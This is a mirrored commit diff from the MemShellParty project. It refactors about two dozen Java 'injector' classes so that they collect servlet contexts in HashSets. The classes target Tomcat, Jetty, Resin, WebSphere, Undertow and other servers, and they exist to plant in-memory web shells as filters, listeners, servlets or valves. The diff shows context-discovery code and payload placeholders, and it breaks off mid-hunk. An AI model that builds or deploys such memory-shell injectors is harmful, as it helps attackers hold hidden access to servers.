mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: use hashset to reduce inject times
This commit is contained in:
+4
-7
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -34,7 +31,7 @@ public class ApusicFilterInjector {
|
||||
}
|
||||
|
||||
public ApusicFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -77,8 +74,8 @@ public class ApusicFilterInjector {
|
||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
||||
* /usr/local/ass/lib/apusic.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
|
||||
+4
-7
@@ -6,10 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -33,7 +30,7 @@ public class ApusicListenerInjector {
|
||||
}
|
||||
|
||||
public ApusicListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -71,8 +68,8 @@ public class ApusicListenerInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
|
||||
+4
-7
@@ -6,10 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -33,7 +30,7 @@ public class ApusicServletInjector {
|
||||
}
|
||||
|
||||
public ApusicServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -71,8 +68,8 @@ public class ApusicServletInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
|
||||
+3
-3
@@ -30,7 +30,7 @@ public class BesFilterInjector {
|
||||
}
|
||||
|
||||
public BesFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -72,8 +72,8 @@ public class BesFilterInjector {
|
||||
* com.bes.enterprise.webtier.core.DefaultContext
|
||||
* /opt/bes/lib/bes-engine.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@ public class BesListenerInjector {
|
||||
}
|
||||
|
||||
public BesListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
|
||||
+3
-3
@@ -25,7 +25,7 @@ public class BesValveInjector {
|
||||
}
|
||||
|
||||
public BesValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -63,8 +63,8 @@ public class BesValveInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+4
-7
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -33,7 +30,7 @@ public class GlassFishFilterInjector {
|
||||
}
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -75,8 +72,8 @@ public class GlassFishFilterInjector {
|
||||
* com.sun.enterprise.web.WebModule
|
||||
* /xxx/modules/web-glue.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+3
-3
@@ -26,7 +26,7 @@ public class GlassFishValveInjector {
|
||||
|
||||
|
||||
public GlassFishValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -64,8 +64,8 @@ public class GlassFishValveInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+3
-3
@@ -31,7 +31,7 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
|
||||
public InforSuiteFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -73,8 +73,8 @@ public class InforSuiteFilterInjector {
|
||||
* com.cvicse.loong.enterprise.web.WebModule
|
||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+4
-3
@@ -6,6 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -33,7 +34,7 @@ public class JettyFilterInjector {
|
||||
}
|
||||
|
||||
public JettyFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -154,8 +155,8 @@ public class JettyFilterInjector {
|
||||
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||
*/
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+4
-7
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -22,7 +19,7 @@ public class JettyListenerInjector {
|
||||
private String msg = "";
|
||||
|
||||
public JettyListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -68,8 +65,8 @@ public class JettyListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+4
-3
@@ -6,6 +6,7 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -31,7 +32,7 @@ public class JettyServletInjector {
|
||||
}
|
||||
|
||||
public JettyServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -77,8 +78,8 @@ public class JettyServletInjector {
|
||||
}
|
||||
}
|
||||
|
||||
private List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+3
-3
@@ -29,7 +29,7 @@ public class ResinFilterInjector {
|
||||
}
|
||||
|
||||
public ResinFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -71,7 +71,7 @@ public class ResinFilterInjector {
|
||||
* com.caucho.server.webapp.Application
|
||||
* /usr/local/resin3/lib/resin.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
@@ -87,7 +87,7 @@ public class ResinFilterInjector {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
return Arrays.asList(contexts.toArray());
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
|
||||
+3
-3
@@ -28,7 +28,7 @@ public class ResinListenerInjector {
|
||||
}
|
||||
|
||||
public ResinListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -66,7 +66,7 @@ public class ResinListenerInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
@@ -82,7 +82,7 @@ public class ResinListenerInjector {
|
||||
contexts.add(webApp);
|
||||
}
|
||||
}
|
||||
return Arrays.asList(contexts.toArray());
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
|
||||
+3
-3
@@ -30,7 +30,7 @@ public class ResinServletInjector {
|
||||
}
|
||||
|
||||
public ResinServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -68,7 +68,7 @@ public class ResinServletInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
@@ -80,7 +80,7 @@ public class ResinServletInjector {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return Arrays.asList(contexts.toArray());
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
|
||||
+4
-7
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -21,7 +18,7 @@ public class TomcatFilterInjector {
|
||||
private String msg = "";
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -75,8 +72,8 @@ public class TomcatFilterInjector {
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+4
-7
@@ -8,10 +8,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -24,7 +21,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
private String msg = "";
|
||||
|
||||
public TomcatProxyValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -92,8 +89,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
||||
return method.invoke(rawValve, args);
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+4
-7
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -35,7 +32,7 @@ public class TomcatServletInjector {
|
||||
}
|
||||
|
||||
public TomcatServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -73,8 +70,8 @@ public class TomcatServletInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+3
-3
@@ -25,7 +25,7 @@ public class TomcatValveInjector {
|
||||
}
|
||||
|
||||
public TomcatValveInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -63,8 +63,8 @@ public class TomcatValveInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+4
-7
@@ -7,10 +7,7 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -34,7 +31,7 @@ public class TomcatWebSocketInjector {
|
||||
}
|
||||
|
||||
public TomcatWebSocketInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -72,8 +69,8 @@ public class TomcatWebSocketInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+1
-1
@@ -80,7 +80,7 @@ public class TongWebFilterInjector {
|
||||
* /opt/tweb8/version8.0.6.2/tongweb-web.jar
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+1
-1
@@ -64,7 +64,7 @@ public class TongWebListenerInjector {
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+1
-1
@@ -64,7 +64,7 @@ public class TongWebValveInjector {
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
|
||||
+3
-3
@@ -30,7 +30,7 @@ public class UndertowFilterInjector {
|
||||
}
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -68,8 +68,8 @@ public class UndertowFilterInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+4
-3
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -21,7 +22,7 @@ public class UndertowListenerInjector {
|
||||
private String msg = "";
|
||||
|
||||
public UndertowListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -67,8 +68,8 @@ public class UndertowListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+4
-3
@@ -8,6 +8,7 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -33,7 +34,7 @@ public class UndertowServletInjector {
|
||||
}
|
||||
|
||||
public UndertowServletInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -71,8 +72,8 @@ public class UndertowServletInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
|
||||
+11
-14
@@ -9,7 +9,9 @@ import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
@@ -36,7 +38,7 @@ public class WebSphereFilterInjector {
|
||||
}
|
||||
|
||||
public WebSphereFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -78,27 +80,22 @@ public class WebSphereFilterInjector {
|
||||
* com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
context = getFieldValue(getFieldValue(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
|
||||
+11
-14
@@ -7,7 +7,9 @@ import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -26,7 +28,7 @@ public class WebSphereListenerInjector {
|
||||
}
|
||||
|
||||
public WebSphereListenerInjector() {
|
||||
List<Object> contexts = null;
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
@@ -64,27 +66,22 @@ public class WebSphereListenerInjector {
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(obj, "stack");
|
||||
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFieldValue(stack, "config");
|
||||
context = getFieldValue(getFieldValue(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
|
||||
